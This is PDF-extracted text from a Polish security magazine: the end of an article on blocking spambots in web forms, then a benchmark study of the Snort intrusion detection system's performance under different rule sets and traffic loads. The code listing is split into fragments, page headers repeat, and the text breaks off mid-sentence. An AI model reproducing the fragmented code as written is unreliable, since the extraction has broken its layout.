możemy napisać kod, który skutecznie
odróżni użytkownika od bota. Wszystko
dzięki temu, że bardzo mała liczba botów
radzi sobie z tą technologią, a te, które
ją obsługują – nie wykonają tych akcji.
W przypadku uniwersalnych robotów,
po wywołaniu zdarzenia onkeypress lub
onmousemove skrypt może podpiąć pod
właściwość action formularza właściwy
adres, pod który mają zostać wysłane
dane. Prócz wyżej przedstawionych
metod warto wspomnieć jeszcze

o dwóch, które są dość proste do
wdrożenia. Pierwszą z nich jest
umieszczenie formularza wewnątrz ramki.
Dzięki temu robot parsujący kod strony
nie znajdzie w nim formularza. Drugim
sposobem jest przesyłanie danych
przy pomocy AJAXa. Ciekawostką jest
serwis który analizuje ruchy spamu
i informacje o pojawiających się
wirusach którego screeny zamieściłem
w artykule (Rysunek 1. i 2.) http://
www.commtouch.com/Site/Resources/
map.asp

Podsumowanie

Mimo, że techniki spamowania stają się
coraz bardziej wyrafinowane, istnieje
wiele sposobów umożliwiających
skuteczną obronę przed nimi. Im bardziej
technika jest innowacyjna i rzadziej
stosowana, tym większe daje szanse
na skuteczne zablokowanie działania
spambotów.

Rafał Podsiadły

Miłośnik wiedzy i nowych technologii – a wszystko, co

wartościowe, trzyma w głowie.

Kontakt z autorem: rafalpa@interia.pl

Listing 4.

Skrypt aktywacyjny do formularza

<

script language

=

"javascript"

>

function checkCheckBox(f)

{

// sprawdzamy czy zostal zaznaczony przycisk
// jesli nie, to wyswietlamy komunikat

if

(f.pp.checked

==

false )

{

alert(

'Musisz się zgodzić ....'

)

;

return

false

;

}

// sprawdzamy poprawnosc pola email

if

(f.email.value

==

''

)

{

alert(

'Podaj adres'

)

;

return

false

;

}

// sprawdzamy, czy format podanego adresu e-mail jest poprawny

if

( ((f.email.value.indexOf(

'@'

,

1

))

==

-

1

)

||

(f.email.value.indexOf(

'.'

,

1

))

==

-

1

)

{

alert(

'Popraw adres e-mail'

)

;

return

false

;

}

// sprawdzamy, czy uzytkownik podal imie

if

(f.name.value

==

''

)

{

alert(

'Nie podałeś/aś swojego imienia'

)

;

return

false

;

}

// jesli wszystko jest OK, to mozemy wyslac formularz

else

{

return

true

;

}

}

</

script

>

Sam formularz implementujemy następująco:

<

form name

=

"sub"

method

=

"post"

action

=

"ADRES_SKRYPTU"

onsubmit

=

"

return

checkCheckBox(

this

)"

>

Słownik

SpyBot – jest to słowo połączone z dwóch wyrazów Spyware Bot a więc w połączeniu określają
inteligentne programy naśladujące pracę człowieka, które przeszukują internet, potrafią logować
się na stronach www, zakładać konta. Z niegroźnych odmian tego typu kodu są roboty Google
przeszukujące sieć i index'ujące stronę www.

CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart)

– rodzaj techniki stosowanej jako zabezpieczenie w formularzach na stronach WWW. Dla przesłania
danych konieczne jest przepisanie treści z obrazka (zazwyczaj losowo dobranych znaków bądź
krótkiego wyrazu). Obrazek ten jest prosty do odczytania przez człowieka, jednakże odczytanie go
przez komputer jest, przynajmniej w założeniu, bardzo trudne.

Odmianą CAPTCHA jest system Asirra (en) - na którym należy spośród zdjęć różnych zwierząt

wybrać np. kota. źródło wikipedia.org

background image

50

OBRONA

HAKIN9 6/2008

W

ykrywanie włamań jest procesem
identyfikowania i reagowania na
szkodliwą działalność skierowaną

przeciw zasobom informatycznym i sieciowym.
Narzędzia spełniające wyżej wymienione funkcje
nazywają się Systemami Wykrywania Włamań
(ang. Intrusion Detection Systems).

Podziału systemów wykrywania włamań można

dokonać na wiele sposobów. Po pierwsze może
to być podział ze względu na źródło zdarzenia
zewnętrznego, a więc umiejscowienie generatora
zdarzeń. Możliwe jest także zastosowanie podziału
ze względu na sposób analizy danych. Systemy
IDS można także rozróżniać ze względu na rodzaj
bazy danych oraz sposób działania jednostki
reagującej. Nas jednak interesować będzie podział
opisany w dwóch pierwszych przypadkach.

Ze względu na źródło zdarzeń zewnętrznych

wyróżniamy następujące typy systemów
wykrywania włamań:

• systemy oparte na hoście (ang. host-based),
• systemy oparte na sieci (ang. network-based).

Z kolei ze względu na sposób analizy danych
systemy IDS możemy podzielić na:

• systemy wykrywające anomalie,
• systemy wykrywające nadużycia.

System Snort jest sieciowym systemem
wykrywania włamań opartym o sygnatury.

MARCIN KLAMRA

Z ARTYKUŁU

DOWIESZ SIĘ

jak liczba oraz rodzaje

stosowanych reguł wpływają na

wydajność systemu Snort,

jak tworzyć reguły dla systemu

Snort, aby nie powodowały

znacznego spadku wydajności

systemu,

jak zmienia się wydajność

systemu Snort wraz z

pojawianiem się nowych jego

wersji,

jaką wydajnością charakteryzuje

się filtr pakietów iptables w

porównaniu z systemem Snort.

CO POWINIENEŚ

WIEDZIEĆ

co to jest system wykrywania

włamań,

jakie wyróżniamy typy systemów

wykrywania włamań i jakie są

ich podstawowe cechy,

czym jest sygnatura systemu IDS,

powinieneś znać podstawy

działania sieci komputerowych.

Zgodnie z zaprezentowanym wyżej podziałem jest
więc systemem opartym na sieci, wykrywającym
nadużycia ze wszystkimi tego konsekwencjami.

Systemy IDS oparte na sieci

Systemy tego typu wykrywają ataki
przechwytując i analizując ruch w sieci. Dzięki
temu jeden system może monitorować działanie
i chronić wiele maszyn w danym segmencie
sieci. Jakość tej ochrony oraz możliwa liczba
chronionych maszyn w dużej mierze zależy od
poprawnego umiejscowienia sensora, czym tutaj
nie będę się zajmować.

Spotyka się różne konfiguracje pracy

sieciowego systemu IDS. Może to być system
zbudowany przy pomocy tylko jednej maszyny
(takim przypadkiem zajmuję się w tym artykule),
która wypełnia zadania przechwytywania
ruchu sieciowego, jego analizowania,
składowania i reagowania na ataki. Istnieje
także możliwość rozproszenia pracy poprzez
zaimplementowanie kilku sensorów w sieci.
Sensory te mogą przekazywać informacje do
jakiejś centralnej jednostki, która zajmować się
może składowaniem, analizą i korelacją danych
zebranych przez poszczególne sensory.

Dedykowane maszyny, które pracują jako

sensory sieciowego systemu wykrywania
włamań, jest łatwo zabezpieczyć. Wystarczy
zastosować ukryty tryb pracy (ang. stealth),
co sprawia, że atakujący ma dużą trudność z
wykryciem i zidentyfikowaniem takiego systemu.

Stopień trudności

Analiza

systemu

SNORT

Konieczność analizy wszystkich pakietów przesyłanych w sieci

przez system wykrywania włamań jest niezwykle istotna. Zgubienie

choćby jednego pakietu może doprowadzić do sytuacji niewykrycia

ataku. Należy w taki sposób konfigurować system wykrywania

włamań, aby do tego typu sytuacji nie dopuścić.

background image

51

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

HAKIN9

6/2008

Temat ten nie wchodzi jednak w zakres
artykułu.
Zalety systemów IDS opartych na sieciach:

• kilka dobrze umiejscowionych

sensorów sieciowego systemu
wykrywania włamań jest w stanie
monitorować dużą sieć,

• wdrożenie systemu nie ingeruje w

dotychczasową strukturę sieci, ani w
jej działanie; sieciowe systemy IDS są
często pasywnymi urządzeniami, które
badają ruch sieciowy bez ingerowania
w jego przebieg,

• systemy takie można dobrze

zabezpieczyć, a nawet sprawić, by nie
były widzialne dla intruzów,

• możliwe jest wykrywanie ataków

przeprowadzanych przy użyciu sieci, jak
również przeprowadzanych przeciwko
sieci jako całości, np. skanowania sieci.

Wady systemów IDS opartych na sieciach:

• sieciowe systemy wykrywania włamań

posiadają pewne ograniczenia (ich
zaprezentowaniem zajmę się w
dalszej części artykułu) dotyczące
przetwarzania całego ruchu w
sieciach o dużej przepustowości, co
może prowadzić do niemożności
wykrycia ataku przeprowadzanego w
momencie wysokiego nasilenia ruchu
sieciowego (który często towarzyszy
przeprowadzaniu ataków pewnych
typów),

• nie potrafią analizować ruchu

szyfrowanego, ponieważ nie znają
kluczy sesyjnych; pojawia się problem
zaufanej trzeciej strony,

• brakuje możliwości stwierdzenia,

czy atak zainicjowany przez intruza
powiódł się, czy też nie; wynika to z
analizy jedynie ruchu sieciowego, w
którym skutki włamania nie muszą się
objawić,

• podatność na ataki typu wstawienia,

odrzucenia, ataki TTL.

Systemy IDS

oparte na hoście

Systemy IDS oparte na hoście
przetwarzają informacje dotyczące
jednego systemu. Najczęściej są to
informacje dotyczące pewnej konkretnej
maszyny. Ten dogodny punkt pracy
systemu wykrywania włamań pozwala
na analizę charakteryzującą się dużą
niezawodnością i dokładnością.
Możliwe jest dokładne określenie, które
procesy i którzy użytkownicy biorą
udział w przeprowadzaniu danego
ataku w systemie. W przeciwieństwie do
sieciowych systemów IDS, systemy oparte
na hoście mogą także badać efekt ataku.
Są one bowiem w stanie bezpośrednio
monitorować systemy plików oraz procesy
na atakowanej maszynie.

Tego typu systemy wykorzystują jako

źródło informacji przede wszystkim pliki
dziennika systemu operacyjnego. Znajdują
się tam dane pochodzące zarówno od
jądra systemu operacyjnego, często
obszerne i szczegółowe, jak również

dane pochodzące z innych źródeł (np. od
konkretnych aplikacji).
Zalety systemów IDS opartych na hoście:

• potrafią dokładnie pokazać, co zrobił

intruz – można stwierdzić, jakie wydał
komendy, jakie pliki otwierał,

• posiadają zdolność do monitorowania

lokalnych dla danego hosta zdarzeń,

• mogą pracować w środowisku, w

którym ruch sieciowy jest szyfrowany.

Wady systemów opartych na hoście:

• są trudne w zarządzaniu, ponieważ

każdy z systemów wykrywania włamań
musi zostać skonfigurowany oddzielnie,

• mogą zostać unieszkodliwione

podczas ataku, ponieważ stanowią
część atakowanego systemu,

• wykorzystują moc obliczeniową

maszyny, którą ochraniają – a co
za tym idzie, obniżają jej użyteczną
wydajność.

Systemy IDS

wykrywające anomalie

Systemy te identyfikują nienormalny,
niezwykły sposób zachowania (anomalie)
w sieci lub na danym hoście. Ich praca
opiera się na podstawowym założeniu,
iż ataki generują inne zachowania niż
normalna praca i dzięki temu mogą
być wykryte. Budowane są profile
reprezentujące normalne zachowania
użytkowników, hostów czy połączeń
sieciowych. Następnie zbierane są dane
o zachowaniu w określonej chwili, a

Rysunek 1.

Wydajność systemu Snort dla

standardowego zestawu sygnatur

Rysunek 2.

Wydajność systemu Snort dla

zbioru sygnatur otwartych

Rysunek 3.

Wydajność systemu Snort dla zbioru sygnatur o stałym porcie

background image

OBRONA

52

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

53

HAKIN9

6/2008

przy wykorzystaniu różnych sposobów
pomiaru stwierdza się, czy monitorowana
działalność odbiega od normy.

Metody pomiarów mogą być różne.

Można mierzyć wartość zasobów
zużywanych przez użytkownika czy proces
(np. liczba otwartych plików, niepoprawnych
zalogowań do systemu itp.). Przekroczenie
pewnej wartości granicznej może oznaczać
nienormalną sytuację.

Jako metodę pomiaru można także

stosować analizę statystyczną, zarówno
parametryczną jak i nieparametryczną. Przy
analizie statystycznej mamy do czynienia
z przypadkiem, kiedy rozkład zdarzeń musi
mieścić się w pewnym z góry określonym
zakresie. W innej sytuacji rozkład badanych
wielkości musi być podobny do rozkładu
wielkości, które przyjęte zostały jako zbiór
odniesienia. Może on się zmieniać wraz z
upływem czasu. Stosowane są także inne
metody oparte na sieciach neuronowych,
algorytmach genetycznych czy modelu
systemów odpornościowych.
Zalety systemów IDS wykrywających
anomalie:

• systemy te wykrywają niezwykłe

zachowania, w związku z tym posiadają
zdolność wykrywania nowych,
nieznanych do tej pory ataków,

• wynikiem ich działania może być

informacja, która w dalszej kolejności
zostanie poddana analizie systemu
działającego na zasadzie wykrywania
nadużyć; może to podnieść skuteczność
systemu, a w szczególności ograniczyć
liczbę fałszywych alarmów.

Wady systemów IDS wykrywających
anomalie:

• często generują dużą liczbę alarmów

spowodowaną nieprzewidywalnością
zachowań użytkowników czy sieci,

• wymagają uczenia – takiemu

systemowi trzeba dostarczyć zbioru
uczącego, na podstawie którego
utworzone zostaną bazowe profile; zły
zbiór uczący uniemożliwi późniejszą
poprawną pracę systemu.

Systemy IDS

wykrywające nadużycia

Systemy te wyszukują w monitorowanym
środowisku zdarzeń lub ich grup, które
zdefiniowane zostały jako zabronione. Są
to opisy znanych ataków. Tak zdefiniowane
reguły nazywają się sygnaturami ataku.
W związku z tym faktem opisywane
rozwiązania bywają nazywane także
systemami opartymi na sygnaturach.
Najczęściej spotykanym podejściem
do tej techniki wykrywania włamań jest
porównywanie danych otrzymanych od
generatora zdarzeń do poszczególnych
wzorców (sygnatur).
Zalety systemów IDS wykrywających
nadużycia:

• są bardzo efektywne w wykrywaniu

ataków, a przy tym generują niewielką
liczbę fałszywych alarmów,

• potrafią szybko i niezawodnie

diagnozować użycie specyficznego
narzędzia ataku lub techniki, co może
być pomocne przy podejmowaniu
odpowiednich działań przez
administratora,

• nie wymagają od osoby

administrującej dużej wiedzy, sygnatury
ataków są powszechnie dostępne i nie
ma konieczności tworzenia własnych
(aczkolwiek jest to w wielu przypadkach
wysoce wskazane).

Wady systemów IDS wykrywających
nadużycia:

• potrafią wykrywać tylko ataki, które

już są znane; sygnatura ataku musi
znajdować w bazie wiedzy,

• wzrost liczby sygnatur powoduje

obniżenie wydajności systemu (tym
problemem zajmę się dokładnie w
dalszej części artykułu).

Sygnatury

Tworzone sygnatury powinny spełniać
kilka warunków. Powinny generować jak
najmniejszą (najlepiej zerową) liczbę
fałszywych alarmów. Sytuację taką można
osiągnąć poprzez tworzenie sygnatur
jednoznacznie opisujących atak, przy
użyciu jak największej liczby szczegółów,
ze szczególnym naciskiem na detale
opisujące charakterystykę chronionego
środowiska. Kolejną istotną kwestią jest
tworzenie wydajnych sygnatur, a więc takich,
które nie powodują znacznego wzrostu
zapotrzebowania na moc obliczeniową
systemu wykrywania włamań. Tworzeniem
wydajnych sygnatur oraz analizą systemu
Snort pod kątem jego wydajności zajmę się
w dalszej części artykułu.

Badanie

wydajności systemu Snort

Badaniom wydajnościowym został
poddany system Snort w wersji
2.8.0.1 – najnowszej dostępnej w
momencie pisania tego artykułu.
Dla porównania przytoczę tutaj także
wyniki publikowanych już wcześniej
badań przeprowadzonych dla Snorta w
wersji 1.9.1. Pozwoli to na porównanie

Rysunek 4.

Wydajność systemu Snort dla

zestawu sygnatur o zmiennym porcie

Rysunek 5.

Standardowe reguły Snorta, ruch o zmiennym porcie docelowym

background image

OBRONA

52

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

53

HAKIN9

6/2008

wydajności różnych wersji systemu Snort
oraz na pokazanie jego rozwoju.

Aby zapewnić powtarzalność

kolejnych pomiarów, analiza wydajności
systemu Snort przeprowadzana była
z wykorzystaniem ruchu sieciowego
zapisanego do pliku w formacie tcpdump.
Plik ten miał rozmiar 1GB i zawierał ruch
przechwycony na wejściu do normalnie
działającej sieci. Nie był ruchem
wymuszonym, lecz ruchem naturalnym dla
tej sieci.

W trakcie wykonywania pomiarów

wydajności na wykorzystywanym
komputerze nie były wykonywane inne
zadania, a komputer odłączony był od
sieci – tak, aby zapewnić niezakłócone
warunki pracy. Każdy pomiar wykonany
został dziesięciokrotnie, a na poniższych
Rysunkach prezentowana jest wartość
średnia otrzymanych wyników.

Metodyka wykonywania pomiarów dla

systemu Snort w wersji 1.9.1 była podobna.
Inne były jedynie: wielkość pliku testowego
oraz parametry komputera wykorzystanego
do przeprowadzenia testów. Niemniej
jednak porównanie pozwoli na
wyciągnięcie kilku ciekawych wniosków.

Analiza przeprowadzona została dla

kilku zbiorów sygnatur. Dobór rodzaju
sygnatur pozwolił na pokazanie pewnych
interesujących cech systemu Snort.

Pierwszym przeprowadzonym

badaniem była analiza wydajności systemu
Snort z wykorzystaniem standardowych
sygnatur systemu. W momencie pisania
artykułu dla systemu Snort dostępne
były 9032 reguły. System Snort w wersji
1.9.1 dysponował zbiorem 1847 reguł. Na
Rysunku 1. przedstawiony jest czas analizy
pliku z zapisanym ruchem sieciowym
w funkcji liczby reguł wykorzystywanych
w analizie. W przypadku systemu Snort
w wersji 2.8.0.1 liczba reguł zwiększana
była co 1000, dla systemu w wersji 1.9.1
wartość ta wynosiła 100.

Jak widać na Rysunku 1., system Snort

w wersji 1.9.1 wykazuje dużą wrażliwość na
liczbę reguł. Niewielki jej wzrost powoduje
znaczny spadek wydajności systemu. W
przypadku wersji 2.8.0.1 zauważany spadek
wydajności jest niewielki, przy znacznie
większym przyroście liczby sygnatur.

Kolejnym przeprowadzonym badaniem,

była analiza wydajności systemu dla
sztucznie stworzonego zbioru reguł. Reguły

te zbudowane zostały zgodnie z poniższym
wzorcem:

alert tcp any any -> any any
(msg: "Atak numer 00100"; content:
"atak00100"; sid:00100;)

W każdej z reguł różny był jednak numer
(w przypadku powyższej reguły jest to
wartość 00100). Tak stworzony zbiór reguł
pozwalał na przetestowanie możliwości
systemu Snort do filtrowania zawartości
pakietów. Proszę zauważyć, iż powyższa
reguła określa, że alarm ma zostać
wygenerowany, gdy spełnione zostaną
następujące warunki:

tcp

– określa, iż protokołem warstwy

transportowej ma być protokół TCP,

any any -> any any

– wskazuje,

że ruch sieciowy ma być generowany
z dowolnego adresu IP, z dowolnego
portu, na dowolny adres IP oraz
dowolny port,

content:”atak001000”

– definiuje, że

w treści pakietu musi pojawić się ciąg
znaków

atak00100

,

• pozostałe pola są polami

informacyjnymi, nie mają wpływu
na dopasowywanie sygnatury
do ruchu sieciowego (pole

msg

definiuje informację, jaka ma zostać
zamieszczona w logach systemu
gdy opisywana reguła dopasowana
zostanie do przechwyconego
pakietu, zaś pole sid określa unikalny
identyfikator reguły).

Tak stworzony zbiór reguł możemy nazwać
zbiorem reguł otwartych (ponieważ nie

są zdefiniowane adresy IP oraz porty
komunikacji sieciowej).

Jak można zauważyć na Rysunku 2., w

przypadku Snorta w wersji 2.8.0.1 znaczący
spadek wydajności systemu zauważa się
dopiero przy liczbie reguł na poziomie
20000. Pozwala to wytłumaczyć, dlaczego
dla standardowych reguł system ten
pracował właściwie z jednakową wydajnością
bez względu na liczbę reguł. Jej maksymalna
wartość wynosiła bowiem 9032.

Starsza wersja systemu Snort już

od niewielkich wartości liczby reguł
wykazuje znaczną wrażliwość na jej wzrost.
W przypadku tej wersji maksymalną
przeanalizowaną liczbą było 2000 sygnatur.
Jak widać, dla wersji 2.8.0.1 bez problemu
wykonano pomiar dla zbioru 100000 reguł
i czas analizy w tym przypadku był krótszy
niż 10 minut.

W następnym przeprowadzonym

badaniu zmianie uległa jedynie
charakterystyka zbioru reguł. W regułach
tych numer portu docelowego ustawiony
został na wartość stałą. Tak stworzony zbiór
reguł pozwala na zbadanie wrażliwości
systemu na dużą liczbę reguł o podobnym
charakterze. Ten zbiór sygnatur możemy
nazwać zbiorem sygnatur o stałym porcie.

Rysunek 3. wskazuje, że dla systemu w

wersji 2.8.0.1 znaczący spadek wydajności
można zauważyć powyżej 20000 reguł.
W przypadku Snorta w wersji 1.9.1 testy
wykonane zostały tylko dla zakresu reguł od
100 do 2000 i w tym zakresie (podobnie jak
dla wersji 2.8.0.1) nie zauważa się wpływu
liczby reguł na wydajność systemu IDS.

W kolejnym, ostatnim już teście

wydajności badanego systemu, modyfikacji
uległ zbiór sygnatur. Tym razem w każdej

Rysunek 6.

Reguły o tym samym porcie docelowym, ruch o zmiennym porcie docelowym

background image

OBRONA

54

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

55

HAKIN9

6/2008

regule określony został port docelowy, lecz
za każdym razem był on inny. Biorąc pod
uwagę fakt, iż numer portu docelowego
zapisywany jest w polu 16-bitowym, testy
przeprowadzono dla zbioru do 60000
sygnatur. W przypadku systemu w wersji
1.9.1 maksymalna liczba reguł wynosiła
– podobnie jak wcześniej – 2000. Ten zbiór
wzorców ataków możemy nazwać zbiorem
sygnatur o zmiennym porcie.

Na Rysunku 4. widać, iż tym razem

znaczny spadek wydajności systemu Snort
w wersji 2.8.0.1 można zauważyć już przy
liczbie 5000 reguł. Wyraźnie zaznacza się
także fakt znacznie szybszego spadku
wydajności dla starszej wersji badanego
systemu.

Wnioski

We wszystkich pomiarach wyraźnie
zaznacza się fakt dużo wyższej wydajności
najnowszej wersji systemu Snort. Pozwala
to jednoznacznie wysunąć tezę o
konieczności aktualizacji systemu Snort
– choćby z tego jednego powodu, choć
można by ich wyliczyć znacznie więcej.

Dzięki wymienionej powyżej

właściwości nowej wersji systemu, jest on
w stanie doskonale radzić sobie z analizą
ruchu sieciowego z wykorzystaniem
całego dostępnego standardowego zbioru
reguł. Stwierdzenie to jest nieprawdziwe
w odniesieniu do starszej wersji systemu,
mimo iż liczba reguł jest w tym przypadku
kilkukrotnie mniejsza.

W przypadku Snorta w wersji

2.8.0.1 można stwierdzić, iż liczba reguł
(do wartości około 20000) nie ma
znaczącego wpływu na wydajność
systemu, o ile są to reguły podobne.
Powyżej 20000 reguł obserwujemy
spadek wydajności systemu.
Charakterystyka wydajności na Rysunkach
2. i 3. jest niemal identyczna, mimo iż
rodzaje reguł są inne, ale należy zauważyć,
iż każdy z tych zbiorów zbudowany został z

reguł o podobnej specyfice. W przypadku
starszej wersji systemu reguły otwarte
stanowią poważny problem i obserwujemy
w tym przypadku znaczny spadek
wydajności.

Test przeprowadzony dla reguł o

zmiennym porcie pokazuje jednak, iż
liczba reguł różniących się między sobą
charakterystyką ma znacznie większy
wpływ na spadek wydajności niż miało to
miejsce w przypadku reguł o podobnej
strukturze. Jak widać na Rysunku 4., dla
liczby około 5000 reguł obserwujemy
początek istotnego narastania spadku
wydajności. Snort w wersji 1.9.1 cechuje
się taką samą, lecz znacznie szybciej
ujawniającą się tendencją.

Wobec powyższego powstaje jeszcze

pytanie, dlaczego dla standardowych
reguł systemu Snort nie obserwujemy
spadku wydajności powyżej wartości
5000 reguł. Odpowiedź jest bardzo
prosta. Otóż standardowy zbiór reguł
badanego systemu nie charakteryzuje
się dużą zmiennością. Występują w nim
grupy podobnych reguł. Na przykład reguł
kierowanych na port 80 jest aż 2418, co
stanowi prawie 27% całego zbioru.

Badanie zdolności systemu

Snort do poprawnej pracy w

sieci o dużym natężeniu ruchu

Badania przeprowadzone zostały
w warunkach laboratoryjnych z
wykorzystaniem wielu stanowisk
komputerowych oraz przełącznika
pozwalającego na przesyłanie
generowanego ruchu do pojedynczej
maszyny z prędkością bliską 1Gb/s. Ruch
generowany był z wykorzystaniem kilku

komputerów, z których każdy generował
ruch o wolumenie bliskim 100 Mb/s. Ruch
ten kierowany był na pojedynczą maszynę,
na której pracował system wykrywania
włamań. Rozwiązanie takie pozwoliło na
wygenerowanie dużego ruchu sieciowego,
przy czym maszyny generujące nie były
nadmiernie obciążone – co zapewniło
szybki i niezawodny proces generacji.
Zadaniem każdego komputera było jak
najszybsze wygenerowanie 1000000
pakietów o zadanej charakterystyce.
Charakterystyka ta była modyfikowana dla
poszczególnych testów.

Do tworzenia pakietów wykorzystano

generator pakietów wchodzący w skład
dystrybucji jądra systemu Linux. Jako że
wykorzystany generator pozwala tylko
na generowanie pakietów UDP, testy
przeprowadzone zostały na regułach
UDP systemu Snort oraz na sztucznie
tworzonych zbiorach reguł UDP.

Każdy pomiar wykonany został

dziesięciokrotnie. Na poniższych wykresach
prezentowana jest średnia arytmetyczna
wyników uzyskanych w kolejnych próbach.

Pierwszy test przeprowadzony został

dla zbioru standardowych reguł Snorta
dla protokołu UDP. Dla Snorta w wersji
2.8.0.1 dostępnych było 789 takich reguł,
dla wersji 1.9.1 było ich tylko 181. Wszystkie
tworzone dalej zbiory reguł złożone były
z takiej samej liczby sygnatur. Z kolei
generowany ruch sieciowy charakteryzował
się zmiennością źródłowego adresu
IP (z zakresu od 192.168.92.15 do
192.168.92.250), zmiennością źródłowego
portu (z zakresu od 10 do 65510) oraz
zmiennością docelowego portu (z zakresu
od 1 do 1024).

Rysunek 7.

Reguły o tym samym

porcie docelowym, ruch o stałym porcie

docelowym

Rysunek 8.

Reguły o zmiennym porcie docelowym, ruch o zmiennym porcie docelowym

background image

OBRONA

54

HAKIN9 6/2008

ANALIZA WYDAJNOŚCI SYSTEMU SNORT

55

HAKIN9

6/2008

Jak widać na Rysunku 5., do prędkości

rzędu 200 Mb/s system w wersji 2.8.0.1
pracuje dobrze, dla systemu w wersji
1.9.1 wartością graniczną jest wolumen
około 90 Mb/s. Gubiona jest niewielka
liczba pakietów. Powyżej w/w wartości
granicznych praca systemów IDS wymaga
wzmożonego zapotrzebowania na moc
obliczeniową. Powoduje to wzrost liczby
gubionych pakietów.

W kolejnym teście wykorzystany został

sztucznie wygenerowany zbiór 789 reguł.
Reguły te zbudowane zostały zgodnie z
poniższym wzorcem:

alert udp any any -> any 234
(msg: "Atak numer 003"; content:
"atak003"; sid:003;)

W każdej z reguł określony został ten sam,
stały numer portu docelowego (234).
Różniły się one między sobą jedynie
wartością pola content. Generowany ruch
posiadał taką samą charakterystykę, jak w
poprzednim teście.

Rysunek 6. prezentuje wyniki tego

testu. Snort w wersji 2.8.0.1 pracuje nie
gubiąc pakietów, aż do przepustowości
na poziomie 700 Mb/s. Dopiero powyżej
tej wartości zaczynają pojawiać się
straty w przechwyconych pakietach.
Wtedy też obciążenie procesora wzrasta
do poziomu bliskiego 100%. Z kolei
Snort w wersji 1.9.1 gubi pakiety już
dla przepustowości powyżej 100 Mb/s.
Warto zauważyć, iż w teście tym zaledwie
znikoma część wygenerowanych
pakietów posiadała taki port docelowy,
jaki określony został we wszystkich
regułach.

W następnym badaniu sytuacja

ta ulegnie zmianie. Otóż wszystkie
generowane pakiety będą posiadały taki
port docelowy, jak wszystkie sygnatury w
wykorzystywanym zbiorze. W teście tym
bowiem zbiór sygnatur pozostaje taki sam,
jak w poprzednim przypadku.

Wyniki tego testu (przedstawione na

Rysunku 7.) bardzo wyraźnie uwidaczniają
wyższość nowej wersji badanego systemu
IDS. Do przepustowości rzędu 400
Mb/s system ten praktycznie nie gubi
pakietów. Dopiero powyżej tej granicy
pojawiają się problemy. Jest to ściśle
związane z zapotrzebowaniem na moc
obliczeniową. Snort w wersji 1.9.1 wypada
w tej konkurencji znacznie gorzej. Nie jest
w stanie przeanalizować ruchu sieciowego
na żadnym z badanych poziomów. System
został unieszkodliwiony.

Test ten pokazuje, jak może zachować

się system wykrywania włamań, który
pracuje z wykorzystaniem standardowych
reguł w sieci, w której generowana jest
duża ilość ruchu HTTP. Jak wcześniej
wspomniałem, w standardowym zbiorze
sygnatur znajduje się 2418 wzorców ataków
kierowanych przeciwko serwerom HTTP.

W następnym wykonywanym badaniu

zmianie uległ zarówno zbiór reguł, jak i
charakterystyka generowanych pakietów.
Zbiór reguł zawierał teraz reguły różniące
się między sobą nie tylko informacją
zawartą w polu content, ale także wartością
portu docelowego. Dla każdej z reguł port
ten był inny.

Generowany ruch sieciowy

charakteryzował się zmiennością
źródłowego adresu IP (z zakresu od
192.168.92.15 do 192.168.92.250),

zmiennością źródłowego portu (z zakresu
od 10 do 65510) oraz zmiennością
docelowego portu (z zakresu od 100 do
888). Zakres użytych portów docelowych
był identyczny, jak zakres portów użytych w
zbiorze sygnatur.

W porównaniu z poprzednim testem

mamy więc do czynienia z sytuacją, gdy
każdy pakiet pasuje do jednej z reguł
(pod względem portu docelowego). W
poprzednim teście każdy pakiet pasował
do każdej reguły (pod względem portu
docelowego).

W tym teście (Rysunek 8.) system

w wersji 2.8.0.1 osiąga wyniki niemal
identyczne, jak w poprzednim. Z kolei
system w wersji 1.9.1 uzyskuje wyniki
znacznie lepsze niż w poprzednim, niemniej
jednak jednocześnie wyraźnie gorsze niż
nowa wersja systemu Snort. Porównanie
wyników tego oraz poprzedniego testu
pozwala stwierdzić, iż w nowej wersji
systemu struktura reguł nie ma wpływu
na jego wydajność (do granicy około
400 Mb/s). W przypadku starszej wersji
systemu struktura reguł ma silny wpływ
na wydajność. W poprzednim teście
mieliśmy tak naprawdę do czynienia z
dopasowywaniem zawartości pakietów
do dużej liczby wzorców, z kolei w tym
teście – tylko do jednego wzorca (każdy
pakiet pasował tylko do jednej reguły pod
względem portu docelowego). Pozwala
to wyciągnąć wniosek, iż system Snort w
wersji 2.8.0.1 realizuje analizę pakietów
w zupełnie inny sposób niż system Snort
w wersji 1.9.1. Starsza wersja badanego
systemu w pierwszej kolejności analizuje
dane nagłówka IP oraz UDP (i zapewne
TCP). Nie można natomiast na podstawie
przeprowadzonych badań wyciągnąć
analogicznych wniosków dla wersji 2.8.0.1.

Ostatni przeprowadzony test wymagał

jedynie modyfikacji generatora pakietów.
Zbiór reguł pozostał taki sam, jak w
poprzednim teście. Generowane pakiety

Rysunek 10.

Analiza wydajności filtra

pakietów iptables

Rysunek 9.

Reguły o zmiennym porcie docelowym, ruch o stałym porcie docelowym

background image

OBRONA

56

HAKIN9 6/2008

posiadały określony jeden port docelowy,
który pasował do jednej z reguł w zbiorze.

Z Rysunku 9. można wywnioskować,

że Snort w najnowszej wersji uzyskał
wynik niemal identyczny, jak w dwóch
poprzednich badaniach. Z kolei system
w wersji 1.9.1 uzyskał w tym teście
najlepsze rezultaty z ostatnich trzech
tutaj prezentowanych. Potwierdza to
jednoznacznie wnioski wysunięte powyżej.

Wnioski

Dla Snorta w wersji 2.8.0.1 nie ma
znaczenia charakterystyka reguł, która
w przypadku systemu w wersji 1.9.1
jest bardzo istotna (wyraźnie cechę tę
prezentują zależności przedstawione na
Rysunkach 7., 8. oraz 9.). Wynika z tego, iż
Snort w wersji 2.8.0.1 – w przeciwieństwie
do wersji 1.9.1 – nie jest wrażliwy na
badanie zawartości pakietów.

Przechwytywany ruch sieciowy, który

nie pasuje do żadnej z reguł systemu
IDS, nie wpływa znacząco na wydajność
tego systemu (właściwość tę prezentuje
Rysunek 6.).

Ważnym elementem systemu

wykrywania włamań jest moc
obliczeniowa zastosowanej maszyny.
Jak wynika z zaprezentowanych
powyżej wyników badań, analiza ruchu
sieciowego wymaga bardzo dużej mocy
obliczeniowej. Na Rysunkach 5.-9. można
zauważyć także pewną zależność. Gdy
obciążenie procesora nie przekracza
50%, liczba gubionych pakietów jest
równa lub bliska 0%. Wynika z tego, iż
maszyna, na której pracuje sieciowy
